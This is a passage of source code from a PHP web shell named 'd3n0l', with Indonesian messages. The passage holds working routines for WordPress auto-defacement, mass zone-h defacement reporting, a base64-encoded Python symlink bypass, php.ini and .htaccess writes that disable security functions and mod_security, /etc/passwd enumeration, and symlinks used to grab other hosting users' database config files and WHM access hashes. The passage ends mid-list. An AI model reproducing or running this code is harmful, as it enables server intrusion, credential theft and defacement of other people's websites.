  2183. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2184. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2185. curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  2186. $POSTResult = curl_exec($ch6);
  2187. curl_close($ch6);
  2188. $as = "$target/k.php";
  2189. $bs = anucurl($as);
  2190. if(preg_match("#$script#is", $bs)){
  2191. echo "[+] <font color='lime'>Berhasil Mhankz >:)</font><br>";
  2192. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2193. } else {
  2194. echo "[-] <font color='red'>Gagal Coeg >:(</font><br>";
  2195. echo "[!] coba aja manual: [!]<br>";
  2196. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php [+]</a><br>";
  2197. echo "[+] username: <font color=cyan>$user [+]</font><br>";
  2198. echo "[+] password: <font color=cyan>$pass [+]</font><br><br>";
  2199. }
  2200. mysql_close($conn);
  2201. }
  2202. }
  2203. }
  2204. } else {
  2205. echo "<center><h1>WordPress Auto Deface</h1>
  2206. <form method='POST'>
  2207. <input type='text' name='link_config' size='50' height='10' value='$path'><br>
  2208. <input type='text' name='script' height='10' size='50' placeholder='Touched By Byksw 69bit' required><br>
  2209. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='ハジャー!!!'>
  2210. </form>
  2211. <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  2212. </center>";
  2213. }
  2214. } elseif($_GET['d3n0l'] == 'zone_h'){
  2215. if($_POST['submit']){
  2216. $domain = explode("\r\n", $_POST['url']);
  2217. $nick = $_POST['nick'];
  2218. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  2219. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  2220. function zoneh($url,$nick) {
  2221. $ch = curl_init("http://www.zone-h.com/notify/single");
  2222. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  2223. curl_setopt($ch, CURLOPT_POST, true);
  2224. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  2225. return curl_exec($ch);
  2226. curl_close($ch);
  2227. }
  2228. foreach($domain as $url){
  2229. $zoneh = zoneh($url,$nick);
  2230. if(preg_match("/color=\"red\">Success<\/font><\/li>/i", $zoneh)){
  2231. echo "$url -> <font color=lime>Success</font><br>";
  2232. } else {
  2233. echo "$url -> <font color=red>Error!!!</font><br>";
  2234. }
  2235. }
  2236. } else {
  2237. echo "<center><form method='POST'>
  2238. <u>Defacer</u>: <br>
  2239. <input type='text' name='nick' size='50' placeholder='Byksw 69bit'><br>
  2240. <u>Domains</u>: <br>
  2241. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  2242. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  2243. </form>";
  2244. }
  2245. echo "</center>";
  2246. } elseif($_GET['symlink'] == 'python') {
  2247. $sym_dir = mkdir('d3n0l_sympy', 0755);
  2248. chdir('d3n0l_sympy');
  2249. $file_sym = "sym.py";
  2250. $sym_script = "Iy8qUHl0aG9uDQoNCmltcG9ydCB0aW1lDQppbXBvcnQgb3MNCmltcG9ydCBzeXMNCmltcG9ydCByZQ0KDQpvcy5zeXN0ZW0oImNvbG9yIEMiKQ0KDQpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIg0KZiA9ICJBbGwgUHJvY2Vzc2VzIERvbmUhXG5TeW1saW5rIEJ5cGFzc2VkIFN1Y2Nlc3NmdWxseSFcbiINCnByaW50ICJcbiINCnByaW50ICJ+Iio2MA0KcHJpbnQgIlN5bWxpbmsgQnlwYXNzIDIwMTQgYnkgTWluZGxlc3MgSW5qZWN0b3IgIg0KcHJpbnQgIiAgICAgICAgICAgICAgU3BlY2lhbCBHcmVldHogdG8gOiBQYWsgQ3liZXIgU2t1bGx6Ig0KcHJpbnQgIn4iKjYwDQoNCm9zLm1ha2VkaXJzKCdicnVkdWxzeW1weScpDQpvcy5jaGRpcignYnJ1ZHVsc3ltcHknKQ0KDQpzdXNyPVtdDQpzaXRleD1bXQ0Kb3Muc3lzdGVtKCJsbiAtcyAvIGJydWR1bC50eHQiKQ0KDQpoID0gIk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rc1xuRGlyZWN0b3J5SW5kZXggYnJ1ZHVsLnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIg0KbSA9IG9wZW4oIi5odGFjY2VzcyIsIncrIikNCm0ud3JpdGUoaCkNCm0uY2xvc2UoKQ0KcHJpbnQgaHRhDQoNCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+U3ltbGluayBCeXBhc3MgMjAxNzxicj48Zm9udCBzaXplPTQ+TWFkZSBCeSBNaW5kbGVzcyBJbmplY3RvciA8YnI+UmVjb2RlZCBCeSBDb243ZXh0PC9mb250PjwvZm9udD48YnI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zPjx0YWJsZT4iDQoNCm8gPSBvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKQ0Kbz1vLnJlYWQoKQ0KbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykNCg0KZm9yIHh1c3IgaW4gbzoNCgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykNCglzdXNyLmFwcGVuZCh4dXNyKQ0KcHJpbnQgIi0iKjMwDQp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQ0KDQpmb3IgeHhzaXRlIGluIHhzaXRlOg0KCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikNCglzaXRleC5hcHBlbmQoeHhzaXRlKQ0KcHJpbnQgZg0KcGF0aD1vcy5nZXRjd2QoKQ0KaWYgIi9wdWJsaWNfaHRtbC8iIGluIHBhdGg6DQoJcGF0aD0iL3B1YmxpY19odG1sLyINCmVsc2U6DQoJcGF0aCA9ICIvaHRtbC8iDQpjb3VudGVyPTENCmlwcz1vcGVuKCJicnVkdWwucGh0bWwiLCJ3IikNCmlwcy53cml0ZShzZikNCg0KZm9yIGZ1c3IgaW4gc3VzcjoNCglmb3IgZnNpdGUgaW4gc2l0ZXg6DQoJCWZ1PWZ1c3JbMDo1XQ0KCQlzPWZzaXRlWzA6NV0NCgkJaWYgZnU9PXM6DQoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9YnJ1ZHVsLnR4dC9ob21lLyVzJXMgdGFyZ2V0PV9ibGFuayA+JXM8L2E+PC90ZD4iJShjb3VudGVyLGZ1c3IsZnVzcixwYXRoLGZzaXRlKSkNCgkJCWNvdW50ZXI9Y291bnRlcisx";
  2251. $sym = fopen($file_sym, "w");
  2252. fwrite($sym, base64_decode($sym_script));
  2253. chmod($file_sym, 0755);
  2254. $d3n0l = exe("python sym.py");
  2255. echo "<div id='menu'><center></br>
  2256. <a href='?path=$path&symlink=server'>Symlink Server </a></br>
  2257. <a href='?path=$path&symlink=404'>Symlink 404</a></br>
  2258. <a href='?path=$path&symlink=python'>Bypass Symlink Python</a></div>";
  2259. echo "<br><center>Done ... <a href='d3n0l_sympy/brudulsympy/' target='_blank'>Klik Here</a>";
  2260. } elseif($_GET['bypass'] == 'disablefunc'){
  2261. echo "<div id='menu'><center></br>
  2262. <a href='?path=$path&bypass=disablefunc'>Disable Functions</a></br>
  2263. <a href='?path=$path&bypass=passwd'>Bypass /etc/passwd</a></br>
  2264. <a href='?path=$path&bypass=vhosts'>Bypass Vhosts</a></div>";
  2265. echo "<br><br><center>";
  2266. echo "<form method=POST><input type=submit name=ini value='php.ini' />&nbsp;
  2267. <input type=submit name=htce value='.htaccess' />&nbsp;
  2268. <input type=submit name=litini value='Litespeed' /></form>";
  2269. if(isset($_POST['ini'])){
  2270. $file = fopen("php.ini","w");
  2271. echo fwrite($file,"disable_functions=none safe_mode = Off");
  2272. fclose($file);
  2273. echo "<a href='php.ini'>click here!</a>";
  2274. }
  2275. if(isset($_POST['htce'])){
  2276. $file = fopen(".htaccess","w");
  2277. echo fwrite($file,"<IfModule mod_security.c>SecFilterEngine Off \n SecFilterScanPOST Off</IfModule>");
  2278. fclose($file);
  2279. echo "htaccess successfully created!";
  2280. }
  2281. if(isset($_POST['litini'])){
  2282. $iniph = '<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>';
  2283. $byph = "safe_mode = Off n disable_functions= ";
  2284. $comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
  2285. file_put_contents("php.ini",base64_decode($byph));
  2286. file_put_contents("ini.php",base64_decode($iniph));
  2287. file_put_contents(".htaccess",base64_decode($comp));
  2288. echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
  2289. echo"</center>";
  2290. }
  2291. } elseif($_GET['bypass'] == 'tool'){
  2292. echo "<div id='menu'><center></br>
  2293. <a href='?path=$path&bypass=disablefunc'>Disable Functions</a></br>
  2294. <a href='?path=$path&bypass=passwd'>Bypass /etc/passwd</a></br>
  2295. <a href='?path=$path&bypass=vhosts'>Bypass Vhosts</a></div>";
  2296. } elseif($_GET['symlink'] == 'tool'){
  2297. echo "<div id='menu'><center></br></br>
  2298. <a href='?path=$path&symlink=server'>Symlink Server</a></br>
  2299. <a href='?path=$path&symlink=404'>Symlink 404</a></br>
  2300. <a href='?path=$path&symlink=python'>Bypass Symlink Python</a></div>";
  2301. } elseif ($_GET['symlink'] == '404'){
  2302. @Error_reporting(0);
  2303. @ini_set('display_Errors', 0);
  2304. echo "<div id='menu'></br><center>
  2305. <a href='?path=$path&symlink=server'>Symlink Server</a></br>
  2306. <a href='?path=$path&symlink=404'>Symlink 404</a></br>
  2307. <a href='?path=$path&symlink=python'>Bypass Symlink Python</a></div>";
  2308. echo '<center><b>
  2309. <a href="https://www.facebook.com/jembut.go.id">Coded By Arvan Apriyana</a></b><br>
  2310. <form method="POST"><br>File Target : <input name="dir" value="/home/user/public_html/wp-config.php">
  2311. <br><br>Save As: <input name="jnck" value="jemb00d.txt">
  2312. <input name="jemb00d" type="submit" value="Eksekusi Gan"></form><br>';
  2313. if($_POST['jemb00d']){
  2314. rmdir("d3n0l_symlink404");
  2315. mkdir("d3n0l_symlink404", 0777);
  2316. $dir = $_POST['dir'];
  2317. $jnck = $_POST['jnck'];
  2318. system("ln -s ".$dir." d3n0l_symlink404/".$jnck);
  2319. symlink($dir,"d3n0l_symlink404/".$jnck);
  2320. $inija = fopen("d3n0l_symlink404/.htaccess", "w");
  2321. fwrite($inija,"ReadmeName ".$jnck."
  2322. Options Indexes FollowSymLinks
  2323. DirectoryIndex ngeue.htm
  2324. AddType text/plain .php
  2325. AddHandler text/plain .php
  2326. Satisfy Any
  2327. ");
  2328. echo'<a href="d3n0l_symlink404/" target="_blank">Klik Gan >:(</a>';
  2329. }
  2330. } elseif($_GET['bypass'] == 'passwd'){
  2331. echo '<div id="menu"><center></br>
  2332. <a href="?path=$path&bypass=disablefunc">Disable Functions</a></br>
  2333. <a href="?path=$path&bypass=passwd">Bypass /etc/passwd</a></br>
  2334. <a href="?path=$path&bypass=vhosts">Bypass Vhosts</a></div>';
  2335. echo '<br><br><center>Bypass etc/passw With:<br>
  2336. <table style="width:50%">
  2337. <tr>
  2338. <td><form method="POST"><input type="submit" value="System Function" name="syst"></form></td>
  2339. <td><form method="POST"><input type="submit" value="Passthru Function" name="passth"></form></td>
  2340. <td><form method="POST"><input type="submit" value="Exec Function" name="ex"></form></td>
  2341. <td><form method="POST"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
  2342. <td><form method="POST"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  2343. </tr>
  2344. </table>Bypass User With : <table style="width:50%">
  2345. <tr>
  2346. <td><form method="POST"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  2347. <td><form method="POST"><input type="submit" value="System Function" name="systuser"></form></td>
  2348. <td><form method="POST"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
  2349. <td><form method="POST"><input type="submit" value="Exec Function" name="exuser"></form></td>
  2350. <td><form method="POST"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  2351. </tr>
  2352. </table><br>';
  2353. if ($_POST['awkuser']){
  2354. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  2355. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  2356. echo "</textarea><br>";
  2357. }
  2358. if ($_POST['systuser']){
  2359. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  2360. echo system("ls /var/mail");
  2361. echo "</textarea><br>";
  2362. }
  2363. if ($_POST['passthuser']){
  2364. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  2365. echo passthru("ls /var/mail");
  2366. echo "</textarea><br>";
  2367. }
  2368. if ($_POST['exuser']){
  2369. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  2370. echo exec("ls /var/mail");
  2371. echo "</textarea><br>";
  2372. }
  2373. if ($_POST['shexuser']){
  2374. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  2375. echo shell_exec("ls /var/mail");
  2376. echo "</textarea><br>";
  2377. }
  2378. if($_POST['syst']){
  2379. echo"<textarea class='inputz' cols='65' rows='15'>";
  2380. echo system("cat /etc/passwd");
  2381. echo"</textarea><br><br><b></b><br>";
  2382. }
  2383. if($_POST['passth']){
  2384. echo"<textarea class='inputz' cols='65' rows='15'>";
  2385. echo passthru("cat /etc/passwd");
  2386. echo"</textarea><br><br><b></b><br>";
  2387. }
  2388. if($_POST['ex']){
  2389. echo"<textarea class='inputz' cols='65' rows='15'>";
  2390. echo exec("cat /etc/passwd");
  2391. echo"</textarea><br><br><b></b><br>";
  2392. }
  2393. if($_POST['shex']){
  2394. echo"<textarea class='inputz' cols='65' rows='15'>";
  2395. echo shell_exec("cat /etc/passwd");
  2396. echo"</textarea><br><br><b></b><br>";
  2397. }
  2398. echo '<center>';
  2399. if($_POST['melex']){
  2400. echo"<textarea class='inputz' cols='65' rows='15'>";
  2401. for($uid=0;$uid<60000;$uid++){
  2402. $ara = posix_getpwuid($uid);
  2403. if (!empty($ara)){
  2404. while (list ($key, $val) = each($ara)){
  2405. print "$val:";
  2406. }
  2407. print "\n";
  2408. }
  2409. }
  2410. echo"</textarea><br><br>";
  2411. }
  2412. } elseif($_GET['kill'] == 'self'){
  2413. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  2414. die('<center><br><center><h2>Shell removed</h2><br>Goodbye , Thanks for take my shell today</center></center>');
  2415. else
  2416. echo '<center>unlink failed!</center>';
  2417. } elseif($_GET['symlink'] == 'server'){
  2418. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
  2419. $d0mains = @file("/etc/named.conf");
  2420. ##htaccess
  2421. if($d0mains){
  2422. @mkdir("d3n0l_sym",0777);
  2423. @chdir("d3n0l_sym");
  2424. @exe("ln -s / root");
  2425. $file3 = '
  2426. Options Indexes FollowSymLinks
  2427. DirectoryIndex d3n0l.htm
  2428. AddType text/plain .php
  2429. AddHandler text/plain .php
  2430. Satisfy Any
  2431. ';
  2432. $fp3 = fopen('.htaccess','w');
  2433. $fw3 = fwrite($fp3,$file3);
  2434. @fclose($fp3);
  2435. echo "<div id='menu'><center></br>
  2436. <a href='?path=$path&symlink=server'>Symlink Server</a></br>
  2437. <a href='?path=$path&symlink=404'>Symlink 404</a></br>
  2438. <a href='?path=$path&symlink=python'>Bypass Symlink Python</a></br></div>";
  2439. echo "<br>
  2440. <table align=center border=1 style='width:60%;border-color:#333333;'>
  2441. <tr>
  2442. <td align=center><font size=2>S. No.</font></td>
  2443. <td align=center><font size=2>Domains</font></td>
  2444. <td align=center><font size=2>Users</font></td>
  2445. <td align=center><font size=2>Symlink</font></td>
  2446. </tr>";
  2447. $dcount = 1;
  2448. foreach($d0mains as $d0main){
  2449. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2450. flush();
  2451. if(strlen(trim($domains[1][0])) > 2){
  2452. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2453. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  2454. <td align=left><a href=http://www.".$domains[1][0]."/>
  2455. <font class=txt>".$domains[1][0]."</font></a></td>
  2456. <td>".$user['name']."</td>
  2457. <td><a href='$full/d3n0l_sym/root/home/".$user['name']."/public_html' target='_blank'>
  2458. <font class=txt>Symlink</font></a></td></tr>";
  2459. flush();
  2460. $dcount++;
  2461. }
  2462. }
  2463. }
  2464. echo "</table>";
  2465. } else {
  2466. $TEST=@file('/etc/passwd');
  2467. if ($TEST){
  2468. @mkdir("d3n0l_sym",0777);
  2469. @chdir("d3n0l_sym");
  2470. exe("ln -s / root");
  2471. $file3 = '
  2472. Options Indexes FollowSymLinks
  2473. DirectoryIndex d3n0l.htm
  2474. AddType text/plain .php
  2475. AddHandler text/plain .php
  2476. Satisfy Any
  2477. ';
  2478. $fp3 = fopen('.htaccess','w');
  2479. $fw3 = fwrite($fp3,$file3);
  2480. @fclose($fp3);
  2481. echo "<table align=center border=1>
  2482. <tr>
  2483. <td align=center><font size=3>S. No.</font></td>
  2484. <td align=center><font size=3>Users</font></td>
  2485. <td align=center><font size=3>Symlink</font></td>
  2486. </tr>";
  2487. $dcount = 1;
  2488. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  2489. while(!feof($file)){
  2490. $s = fgets($file);
  2491. $matches = array();
  2492. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2493. $matches = str_replace("home/","",$matches[1]);
  2494. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2495. continue;
  2496. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  2497. <td align=center><font class=txt>" . $matches . "</td>";
  2498. echo "<td align=center><font class=txt>
  2499. <a href=$full/d3n0l_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2500. $dcount++;
  2501. }
  2502. fclose($file);
  2503. echo "</table>";
  2504. } else {
  2505. if($os != "Windows"){
  2506. @mkdir("d3n0l_sym",0777);
  2507. @chdir("d3n0l_sym");
  2508. @exe("ln -s / root");
  2509. $file3 = '
  2510. Options Indexes FollowSymLinks
  2511. DirectoryIndex d3n0l.htm
  2512. AddType text/plain .php
  2513. AddHandler text/plain .php
  2514. Satisfy Any
  2515. ';
  2516. $fp3 = fopen('.htaccess','w');
  2517. $fw3 = fwrite($fp3,$file3);
  2518. @fclose($fp3);
  2519. echo "<div class='mybox'>
  2520. <h2 class='k2ll33d2'>Server Symlinker</h2>
  2521. <table align=center border=1>
  2522. <tr>
  2523. <td align=center><font size=3>ID</font></td>
  2524. <td align=center><font size=3>Users</font></td>
  2525. <td align=center><font size=3>Symlink</font></td>
  2526. </tr>";
  2527. $temp = "";$val1 = 0;$val2 = 1000;
  2528. for(;$val1 <= $val2;$val1++){
  2529. $uid = @posix_getpwuid($val1);
  2530. if ($uid)$temp .= join(':',$uid)."\n";
  2531. }
  2532. echo '<br/>';
  2533. $temp = trim($temp);
  2534. $file5 = fopen("test.txt","w");
  2535. fputs($file5,$temp);
  2536. fclose($file5);
  2537. $dcount = 1;
  2538. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2539. while(!feof($file)){
  2540. $s = fgets($file);
  2541. $matches = array();
  2542. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2543. $matches = str_replace("home/","",$matches[1]);
  2544. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2545. continue;
  2546. echo "<tr>
  2547. <td align=center><font size=2>" . $dcount . "</td>
  2548. <td align=center><font class=txt>" . $matches . "</td>";
  2549. echo "<td align=center><font class=txt>
  2550. <a href=$full/d3n0l_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2551. $dcount++;
  2552. }
  2553. fclose($file);
  2554. echo "</table></div></center>";unlink("test.txt");
  2555. } else
  2556. echo "<center><font size=3>Can't Create Symlink</font></center>";
  2557. }
  2558. }
  2559. } elseif($_GET['d3n0l'] == 'grabber') {
  2560. if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
  2561. echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
  2562. exit;
  2563. }
  2564. if($_POST){
  2565. if($_POST['config'] == 'symvhosts') {
  2566. @mkdir("d3n0l_symvhosts", 0777);
  2567. exe("ln -s / d3n0l_symvhosts/root");
  2568. $htaccess="
  2569. Options Indexes FollowSymLinks
  2570. DirectoryIndex d3n0l.htm
  2571. AddType text/plain .php
  2572. AddHandler text/plain .php
  2573. Satisfy Any
  2574. ";
  2575. @file_put_contents("d3n0l_symvhosts/.htaccess",$htaccess);
  2576. $etc_passwd=$_POST['passwd'];
  2577. $etc_passwd=explode("\n",$etc_passwd);
  2578. foreach($etc_passwd as $passwd){
  2579. $pawd=explode(":",$passwd);
  2580. $user =$pawd[5];
  2581. $jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user);
  2582. if (preg_match('/vhosts/i',$user)){
  2583. exe("ln -s ".$user."/httpdocs/wp-config.php d3n0l_symvhosts/".$jembod."-Wordpress.txt");
  2584. exe("ln -s ".$user."/httpdocs/configuration.php d3n0l_symvhosts/".$jembod."-Joomla.txt");
  2585. exe("ln -s ".$user."/httpdocs/config/koneksi.php d3n0l_symvhosts/".$jembod."-Lokomedia.txt");
  2586. exe("ln -s ".$user."/httpdocs/forum/config.php d3n0l_symvhosts/".$jembod."-phpBB.txt");
  2587. exe("ln -s ".$user."/httpdocs/sites/default/settings.php d3n0l_symvhosts/".$jembod."-Drupal.txt");
  2588. exe("ln -s ".$user."/httpdocs/config/settings.inc.php d3n0l_symvhosts/".$jembod."-PrestaShop.txt");
  2589. exe("ln -s ".$user."/httpdocs/app/etc/local.xml d3n0l_symvhosts/".$jembod."-Magento.txt");
  2590. exe("ln -s ".$user."/httpdocs/admin/config.php d3n0l_symvhosts/".$jembod."-OpenCart.txt");
  2591. exe("ln -s ".$user."/httpdocs/application/config/database.php d3n0l_symvhosts/".$jembod."-Ellislab.txt");
  2592. }
  2593. }
  2594. }
  2595. if($_POST['config'] == 'symlink'){
  2596. @mkdir("d3n0l_symconfig", 0777);
  2597. @symlink("/","d3n0l_symconfig/root");
  2598. $htaccess="
  2599. Options Indexes FollowSymLinks
  2600. DirectoryIndex d3n0l.htm
  2601. AddType text/plain .php
  2602. AddHandler text/plain .php
  2603. Satisfy Any
  2604. ";
  2605. @file_put_contents("d3n0l_symconfig/.htaccess",$htaccess);
  2606. }
  2607. if($_POST['config'] == '404'){
  2608. @mkdir("d3n0l_sym404", 0777);
  2609. @symlink("/","d3n0l_sym404/root");
  2610. $htaccess="
  2611. Options Indexes FollowSymLinks
  2612. DirectoryIndex d3n0l.htm
  2613. AddType text/plain .php
  2614. AddHandler text/plain .php
  2615. Satisfy Any
  2616. IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
  2617. IndexIgnore *.txt404
  2618. RewriteEngine On
  2619. RewriteCond %{REQUEST_FILENAME} ^.*d3n0l_sym404 [NC]
  2620. RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
  2621. @file_put_contents("d3n0l_sym404/.htaccess",$htaccess);
  2622. }
  2623. if($_POST['config'] == 'grab'){
  2624. mkdir("d3n0l_configgrab", 0777);
  2625. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  2626. $htc = fopen("d3n0l_configgrab/.htaccess","w");
  2627. fwrite($htc, $isi_htc);
  2628. }
  2629. $passwd = $_POST['passwd'];
  2630. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  2631. foreach($user_config[1] as $user){
  2632. $grab_config = array(
  2633. "/home/$user/.accesshash" => "WHM-accesshash",
  2634. "/home/$user/public_html/config/koneksi.php" => "Lokomedia",
  2635. "/home/$user/public_html/forum/config.php" => "phpBB",
  2636. "/home/$user/public_html/sites/default/settings.php" => "Drupal",
  2637. "/home/$user/public_html/config/settings.inc.php" => "PrestaShop",
  2638. "/home/$user/public_html/app/etc/local.xml" => "Magento",
  2639. "/home/$user/public_html/admin/config.php" => "OpenCart",
  2640. "/home/$user/public_html/application/config/database.php" => "Ellislab",
  2641. "/home/$user/public_html/vb/includes/config.php" => "Vbulletin",
  2642. "/home/$user/public_html/includes/config.php" => "Vbulletin",
  2643. "/home/$user/public_html/forum/includes/config.php" => "Vbulletin",
  2644. "/home/$user/public_html/forums/includes/config.php" => "Vbulletin",
  2645. "/home/$user/public_html/cc/includes/config.php" => "Vbulletin",
  2646. "/home/$user/public_html/inc/config.php" => "MyBB",
  2647. "/home/$user/public_html/includes/configure.php" => "OsCommerce",
  2648. "/home/$user/public_html/shop/includes/configure.php" => "OsCommerce",
  2649. "/home/$user/public_html/os/includes/configure.php" => "OsCommerce",
  2650. "/home/$user/public_html/oscom/includes/configure.php" => "OsCommerce",
  2651. "/home/$user/public_html/products/includes/configure.php" => "OsCommerce",
  2652. "/home/$user/public_html/cart/includes/configure.php" => "OsCommerce",
  2653. "/home/$user/public_html/inc/conf_global.php" => "IPB",
  2654. "/home/$user/public_html/wp-config.php" => "Wordpress",
  2655. "/home/$user/public_html/wp/test/wp-config.php" => "Wordpress",
  2656. "/home/$user/public_html/blog/wp-config.php" => "Wordpress",
  2657. "/home/$user/public_html/beta/wp-config.php" => "Wordpress",
  2658. "/home/$user/public_html/portal/wp-config.php" => "Wordpress",
  2659. "/home/$user/public_html/site/wp-config.php" => "Wordpress",
  2660. "/home/$user/public_html/wp/wp-config.php" => "Wordpress",
  2661. "/home/$user/public_html/WP/wp-config.php" => "Wordpress",
  2662. "/home/$user/public_html/news/wp-config.php" => "Wordpress",
  2663. "/home/$user/public_html/wordpress/wp-config.php" => "Wordpress",
  2664. "/home/$user/public_html/test/wp-config.php" => "Wordpress",
  2665. "/home/$user/public_html/demo/wp-config.php" => "Wordpress",
  2666. "/home/$user/public_html/home/wp-config.php" => "Wordpress",
  2667. "/home/$user/public_html/v1/wp-config.php" => "Wordpress",
  2668. "/home/$user/public_html/v2/wp-config.php" => "Wordpress",
  2669. "/home/$user/public_html/press/wp-config.php" => "Wordpress",
  2670. "/home/$user/public_html/new/wp-config.php" => "Wordpress",
  2671. "/home/$user/public_html/blogs/wp-config.php" => "Wordpress",
  2672. "/home/$user/public_html/configuration.php" => "Joomla",
  2673. "/home/$user/public_html/blog/configuration.php" => "Joomla",
  2674. "/home/$user/public_html/submitticket.php" => "^WHMCS",
  2675. "/home/$user/public_html/cms/configuration.php" => "Joomla",
  2676. "/home/$user/public_html/beta/configuration.php" => "Joomla",
  2677. "/home/$user/public_html/portal/configuration.php" => "Joomla",
  2678. "/home/$user/public_html/site/configuration.php" => "Joomla",
  2679. "/home/$user/public_html/main/configuration.php" => "Joomla",
  2680. "/home/$user/public_html/home/configuration.php" => "Joomla",
  2681. "/home/$user/public_html/demo/configuration.php" => "Joomla",
  2682. "/home/$user/public_html/test/configuration.php" => "Joomla",
  2683. "/home/$user/public_html/v1/configuration.php" => "Joomla",
  2684. "/home/$user/public_html/v2/configuration.php" => "Joomla",
  2685. "/home/$user/public_html/joomla/configuration.php" => "Joomla",
  2686. "/home/$user/public_html/new/configuration.php" => "Joomla",
  2687. "/home/$user/public_html/WHMCS/submitticket.php" => "WHMCS",
  2688. "/home/$user/public_html/whmcs1/submitticket.php" => "WHMCS",
  2689. "/home/$user/public_html/Whmcs/submitticket.php" => "WHMCS",
  2690. "/home/$user/public_html/whmcs/submitticket.php" => "WHMCS",
  2691. "/home/$user/public_html/whmcs/submitticket.php" => "WHMCS",
  2692. "/home/$user/public_html/WHMC/submitticket.php" => "WHMCS",
  2693. "/home/$user/public_html/Whmc/submitticket.php" => "WHMCS",
  2694. "/home/$user/public_html/whmc/submitticket.php" => "WHMCS",
  2695. "/home/$user/public_html/WHM/submitticket.php" => "WHMCS",
